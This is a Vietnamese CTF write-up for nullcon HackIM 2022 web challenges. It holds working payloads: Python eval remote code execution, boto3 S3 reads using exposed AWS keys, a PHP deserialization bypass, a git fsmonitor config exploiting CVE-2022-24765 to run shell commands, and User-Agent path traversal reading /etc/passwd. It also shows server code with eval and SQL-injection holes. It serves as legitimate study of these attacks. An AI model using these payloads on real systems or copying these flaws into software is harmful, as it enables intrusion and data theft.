# nullcon Goa HackIM CTF 2022 Writeup


## Cloud 9*9

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551075518/197b43a6-d339-4a4f-96c8-c000c785765c.png)

Giao diện web challenge nhìn qua cũng khá đơn giản, chỉ có vẻ là một máy tính toán bình thường. 🥴

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551076425/2a801c4d-b1c7-4364-8a17-8a24b186d00d.png)

Server sử dụng flask/python nên mình nghĩ ngay đến ssti nhưng khi thử payload `{{7*7}}` thì có nhảy ra exception:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551077850/2f2f4fdb-1293-485b-b783-955d41fee8c4.png)

Error xuất hiện khi call `eval(event['input'])` không hợp lệ

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551079948/fb5752b2-25ea-45cc-80a1-c7df2cd7ee70.png)

Như vậy thì thay vì truyền payload template thì mình sẽ truyền thẳng payload để rce lên server 

```python=
__import__('subprocess').getoutput('id')
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551080798/6a3b0295-2a17-4043-bb4e-e2a97d1dc97b.png)


Đến được đây chắc chắn mình sẽ đọc file `lambda-function.py` đầu tiên

```python=
import json

def lambda_handler(event, context):
    return { 
        'result' : eval(event['input'])
        #flag in nullcon-s3bucket-flag4 ......
    }
```

Với `lambda_handler` ta có thể tạo ra 1 GET request để xử lí dữ liệu và trả về người dùng

Đọc thêm: [S3 Object Lamda](https://aws.amazon.com/blogs/aws/introducing-amazon-s3-object-lambda-use-your-code-to-process-data-as-it-is-being-retrieved-from-s3/)

Bây giờ ta sẽ xem hàm `lambda_handler` này có thể remote file được trên bucket `nullcon-s3bucket-flag4` hay không

Sau một hồi research thì mình có để ý trên server có package `boto3`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551081967/6bd0ebf4-5e06-494e-bfc1-83376829dcdc.png)

Từ đây ta sẽ call 1 hàm để lấy ra các file trên bucket chỉ định

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551082971/59371cf4-c1bb-4677-83e4-6b83b3845f5f.png)

Mình sẽ sử dụng hàm `list_objects`

```python=
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')
```

Do function trả về dạng `dict` nên datetime không serialize được

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551083924/83281f04-5de7-4602-91cd-40ac299fda30.png)

Mình sẽ gọi thẳng file ra

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551085276/279011d8-ab35-47ee-aab7-782ddb0f0403.png)

Vậy payload:

```python=
__import__('boto3').client('s3').list_objects(Bucket='nullcon-s3bucket-flag4')['Contents'][0]['Key']
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551086208/8b225b60-e7a4-441a-ba00-5a3ffbf31f8e.png)

Oh shietzzz, gần ra flag rầu :pregnant_woman: 

Đến đây đã có `Key` là `flag4.txt` và `Bucket` là `nullcon-s3bucket-flag4`

Mình sẽ dùng hàm `get_object` để đọc nội dung file `flag4.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551086951/674185eb-2e5c-4ad0-b965-16288d880da2.png)

Và response từ hàm `get_object`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551087790/4687d75a-341d-4d1c-9678-4fdfcc7567a4.png)

Payload:

```python=
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body']
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551089264/f01f0ed6-c044-4fa1-9313-afd838fe1699.png)

Hmm `streamingBody` không serialize được :zany_face: 

Sau khi stackoverflow thì mình cx solve được

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551090150/de686c56-8852-4247-ba6e-762b33497d69.png)

Payload:

```python=
__import__('boto3').client('s3').get_object(Bucket='nullcon-s3bucket-flag4',Key='flag4.txt')['Body'].read().decode('utf-8')
```

UwU

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551090992/a0e6ada5-212e-46e3-a2c3-8d9c3cb9a25c.png)


Done flag là `ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}`

## More than meets the eye


![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551092227/e5421286-bb4f-453c-82f1-9eb901e24a86.png)

Vẫn là web challenge cũ nhưng còn có đường đi khác, mình bắt đầu check view-source và thấy bucket còn 1 đống resource chưa xem

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551093625/04b83f96-ef40-462a-b2c2-d159a7347d32.png)

Thẻ image này có sử dụng bucket s3 để lưu các file static được access public

Ngoài thẻ svg ra t còn 2 file là `.boto` và `dummy_credentials`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551094694/f530bd3c-797a-4918-8f6b-2daac26879a4.png)

```python=
# dummy_credentials
admin:5730df0sd8f4gsg
```

```conf=
# .boto
[Credentials]
aws_access_key_id = AKIA22D7J5LELFTREN7Z
aws_secret_access_key = 3IxS0lVvB661e1oxT4Wz0YRFDj7d4HJtWlJhiq5A
```

Có được access_key và secret_access_key đến đây thì mình sẽ config aws-cli như mẫu:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551095579/d11f8dfa-25b0-4f72-b4b8-63f6db2332b3.png)

Qua bước đó mình sẽ lấy các thông tin của user qua bộ key trên bằng cmd sau:

```bash=
aws sts get-caller-identity
```

Đọc thêm: [How to Get your Account ID with AWS CLI](https://bobbyhadz.com/blog/aws-cli-get-account-id)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551096504/8656e0a4-e9e0-4935-ab96-7c5f8ac13cc3.png)

Tadaaa, đã lấy được thông tin mình chắc chắn flag là `ENO{W0W_sO_M4ny_Pu8l1c_F1leS}`

P/s: ban đầu mình còn tưởng nó là flag của `Cloud 9*9` nhưng không phải 🥺

## Jsonify

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551097196/a2965c3f-3c15-4c89-b3c6-7239cc619fff.png)


Challenge này cho 1 file php đã xóa toàn bộ dấu cách nên mình mất ít thời gian để beatifulize lại

Source code:

```php=
<?php
ini_set('allow_url_fopen', false);
interface SecurSerializable
{
    public function __construct();
    public function __shutdown();
    public function __startup();
    public function __toString();
}

class Flag implements SecurSerializable
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public function __construct($flagfile = null)
    {
        if (isset($flagfile)) {
            $this->flagfile = $flagfile;
        }
    }
    public function __shutdown()
    {
        return $this->properties;
    }
    public function __startup()
    {
        $this->readFlag();
    }
    public function __toString()
    {
        return "ClassFlag(" . $this->flag . ")";
    }
    public function setFlag($flag)
    {
        $this->flag = $flag;
    }
    public function getFlag()
    {
        return $this->flag;
    }
    public function setFlagFile($flagfile)
    {
        if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
            echo "ERROR: File is not valid!";
            return;
        }
        $this->flagfile = $flagfile;
    }
    public function getFlagFile()
    {
        return $this->flagfile;
    }
    public function readFlag()
    {
        if (!isset($this->flag) && file_exists($this->flagfile)) {
            $this->flag = join("", file($this->flagfile));
        }
    }
    public function showFlag()
    {
        if ($this->isAllowedToSeeFlag) {
            echo "Theflagis:" . $this->flag;
        } else {
            echo "Theflagis:[You'renotallowedtoseeit!]";
        }
    }
}
function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

function secure_unjsonify($json, $allowed_classes)
{
    $data = json_decode($json, true);
    if (!in_array($data['class'], $allowed_classes)) {
        throw new Exception("ErrorProcessingRequest", 1);
    }
    $obj = new $data['class']();
    foreach ($data['properties'] as $key => $value) {
        $obj->$key = unserialize($value, ['allowed_classes' => false]);
    }
    $obj->__startup();
    return $obj;
}
if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile'])) {
    $f = secure_unjsonify($_GET['obj'], array(
        'Flag'
    ));
    echo $f;
    $f->setFlagFile($_GET['flagfile']);
    $f->readFlag();
    $f->showFlag();
} else if (isset($_GET['show'])) {
    $f = new Flag();
    $f->flagfile = "./flag.php";
    $f->readFlag();
    $f->showFlag();
} else {
    header("Content-Type:text/plain");
    echo preg_replace('/\s+/', '', str_replace("\n", '', file_get_contents("./jsonify.php")));
}
```

Theo như flow thì mình phải truyền querystring `show`, `obj`, `flagfile`

Hàm `secure_jsonify` không được call trong code nhưng lại được define trong chương trình.

```php=
function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}
```

`$data` khởi tạo 1 array/object mới

`$data['class'] = get_class($obj)` để lấy ra tên của class ở đây trả về `Flag`

`$data['properties'] = array();` khởi tạo 1 array 

Khi foreach `$obj` gọi đến `__shutdown` trả về array của `$obj->properties` và serialize lại giá trị truyền vào từ các property trên.

Bây giờ mình tạo 1 script php serialize để set cho `flagfile` thành `./flag.php`

```php=
public function setFlagFile($flagfile)
    {
        if (stristr($flagfile, "flag") || !file_exists($flagfile)) {
            echo "ERROR: File is not valid!";
            return;
        }
        $this->flagfile = $flagfile;
    }
```

Nhưng args của function `setFlagFile` mình không thể bypass được nên mình sẽ truyền thẳng giá trị cho `$this->flagfile` thành `./flag.php`

Trong source có sử dụng 1 interface để khai báo các methods cho class

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551098082/5795284a-6d4b-46d2-bdec-7fbefab878a6.png)

Những hàm được define này bắt buộc phải được call

Nếu chỉ define như này

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551099186/7f9eaa0d-55ea-4e68-911b-837dfa83cf56.png)

Thì code sẽ báo lỗi do chưa implement các methods này

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551100141/e8b80f58-7005-4982-8a4c-813eccb61e4a.png)

Trong hàm `secure_unjsonify` có gọi đến method `__startup` để `readflag`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551101058/5d2921f4-186f-428f-a2d2-e0afc83cd458.png)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551102297/db08d545-1533-40f1-ae52-475ccffb5e3b.png)

Vậy mình sẽ không cần quan tâm đến 2 dòng dưới này do flag đã được return ở trên

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551103116/811f0ccf-a666-407c-8fa2-71672a2fc9b3.png)

Bây giờ để cal được hàm `showFlag` và in ra `$this->flag` từ class `Flag`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551104068/eb7811c0-6843-47f6-adc9-4a79aef4996f.png)

Chuyển giá trị của `$this->isAllowedToSeeFlag` thành true
Xong bước bypass, sau đó mình cần thêm các `properties` cho class-serialize

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551104950/113345b6-845e-448b-b1f0-49d7682699f5.png)

Gen serialize:

```php=
<?php

class Flag
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public function __construct($flagfile = null)
    {
        if (isset($flagfile)) {
            $this->flagfile = $flagfile;
        }
    }
    public function __shutdown()
    {
        return $this->properties;
    }
    public function __startup()
    {
        $this->readFlag();
    }
    public function __toString()
    {
        return "ClassFlag(" . $this->flag . ")";
    }
    public function readFlag()
    {
        if (!isset($this->flag) && file_exists($this->flagfile)) {
            $this->flag = join("", file($this->flagfile));
        }
    }
}

function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as &$key) {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

$obj = new Flag();
$obj->properties = ['isAllowedToSeeFlag', 'flagfile'];
$obj->isAllowedToSeeFlag = true;
$obj->flagfile = '/etc/passwd';
echo secure_jsonify($obj);
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551106185/abb04273-e97e-42fa-b542-aecd599ce635.png)

Đến đây ta chỉ cần truyền vào qs của obj để đọc file `/etc/passwd`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551107618/e17cc84d-f2bd-480c-bc20-1ab57c0b5f5f.png)

`ERROR: File is not valid!` do từ hàm `setFlagFile` truyền file không hợp lệ từ ``$_GET['flagfile']`` (không quan tâm) ở dòng 97 ở trên

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551108983/b60556dd-c68a-4eed-bc79-1cf6a7d0c6ad.png)

Lấy flag `$obj->flagfile = './flag.php';`

Payload:

```
http://52.59.124.14:10002/?show&obj={"class":"Flag","properties":{"isAllowedToSeeFlag":"b:1;","flagfile":"s:10:\".\/flag.php\";"}}&flagfile=bu
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551109720/cb6bcc7d-bc6e-4b60-b49c-1c7c595ce976.png)

Done flag là `ENO{PHPwn_1337_hakkrz}`



## Git To the Core

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551110894/abdb9573-a46a-4aa9-9c70-40603a6393c6.png)

Đề bài cho 1 server shell là tool để dump .git folder từ 1 URL

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551112914/9dacd639-db9c-4db5-a0d4-acdce5274910.png)

Hoàn toàn ta có thể RCE được do trên server chỉ allow các args từ git

Gần đây có một lỗi từ `CVE-2022-24765` cho phép exec shell từ git config

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551113783/22dffc4a-a435-4235-af51-1d2697694e65.png)

Với `fsmonitor` là 1 tham số để ta có thể monitor được file system

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551114607/88f22380-fe86-4efd-af63-5527341a0a86.png)

Ta sẽ tạo 1 repo git và 1 file config như sau:

```conf=
# .git/config
[core]
    fsmonitor = "echo \"$(id)\">&2; false"
```

Test trên local:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551115496/60e566ef-1f5d-4ed8-aa5f-8a738035ab01.png)

Forward port vào test thử:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551116240/5386907b-e873-4723-9126-379d20bfad65.png)

Đã RCE thành công bây giờ ta sẽ xem file flag nằm ở đâu

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551117192/7b3544c1-14a9-4b8f-9013-b5d9ea8ecc9b.png)

Read file `/FLAG` là xong

```conf=
[core]
    fsmonitor = "echo \"$(cat /FLAG)\">&2; false"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551118047/bf2018d2-ab92-40fb-9d4b-2127b36f36ee.png)

Done flag là `ENO{G1T_1S_FUn_T0_H4cK}`


## i love browsers

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551119108/20c50baa-0eaa-48eb-ba04-de904687d233.png)

Với challenge này thì ban đầu mình cũng chưa có ý tưởng gì nhưng sau khi thằng cu em Hưng Chiến có nói là có thể dùng `User-Agent` để khai thác mình đã thử đục vào nó xem thế nào

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551119835/5ac3ce85-cb01-454a-b5cc-d8eda2bccf33.png)

Nhưng mình vẫn đéo khai thác được gì 😆

Vậy thì chờ khi hết giải mấy ông trong discord có hint

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551120570/870c2361-9f64-4c70-98ae-ccb2c2f83beb.png)

Mình thử ngay User-Agent bằng 2 dấu chấm xem thế nào

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551121310/9fd21201-1b69-4f98-bc63-9da24d7995e3.png)

Đến đây thì mình cũng ngờ ngợ được rằng backend sẽ đọc các file trên server 🤔

Khi thay đổi đến mỗi User-Agent khác nhau thì nội dung trên trang cũng khác nhau

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551122068/305b0873-7554-4dfe-ae80-495179507957.png)

Mình thử đọc 1 file trên system bằng absolute path `/etc/passwd`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551122849/b6924fb2-c698-4aa2-b9e7-5db407d5c4cc.png)

Tưởng không dễ ai ngờ dễ không tưởng lấy flag hoy 😑

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551123770/3b493cc9-8ece-4841-8bee-939c2dce71b3.png)

Done flag là `ENO{Why,os.path,why?}`

Chắc phải có âm mưa gì đó chứ người bình thường không thể nào config như này được 🐧

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760551124534/c94e8f4c-5de9-42e5-9fb5-e74d10b23b8f.png)

Source code server:

```python=
from flask import Flask, render_template
import sqlite3

import os
import re
from flask import Flask, request, redirect, url_for, g

app = Flask(__name__)
data_base_url = "/app/browserinfo/"
#data_base_url = "/home/nicwer/programming/nullcongoa/web/compose_flask/browserinfo/" 

DATABASE = 'database.db'

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

def query_db(query, args=(), one=False):
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.route("/", methods=['GET', 'POST'])
def test():
    ua = request.headers.get('User-Agent')
    ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
    if ".." in ua2:
        return '<a href="https://xkcd.com/838/">This incident will be reported</a>'
    fn = os.path.join(data_base_url,ua2)
    try:
        f = open(fn)
        browserinfo = f.read()
        # app.logger.info(browserinfo)
        aa = query_db("SELECT * FROM comments WHERE browser=='" + ua2[0].lower() + "'")
        comments = []
        for bb in aa:
            comment = {"name":bb[2],"content":bb[3]}
            comments += comment,
            pass
    except Exception as ex:
        return "You are using an unsupported browser."
    

    return render_template('index.html',browser=ua2,binfo=browserinfo,comments=comments)

@app.route("/test", methods=['POST'])
def aaa():
    ua = request.headers.get('User-Agent')
    ua2 = re.sub(r"\/([0-9]*\.*)*$","",ua.split(" ")[-1])
    browser = ua2[0].lower()
    user = request.form['user']
    comment = request.form['comment']

    qstr = 'INSERT INTO comments (browser,username,comment) VALUES("' + str(browser) + '","' +str(user)+'","'+str(comment)+'");'
    print(qstr)
    if len(user) > 20 or len(comment) >500:
        return redirect('/')

    try:
        c =  get_db().cursor() 
        print("cursor got")
        c.execute(qstr)
        get_db().commit() 
    except:
        print("An error has occured")
    return redirect('/')

if __name__ == "__main__":
    port = int(os.environ.get('PORT', 5000))
    app.run(debug=False, host='0.0.0.0', port=port)
```

:::success
🤕 Make KCSC Great Forever
:::
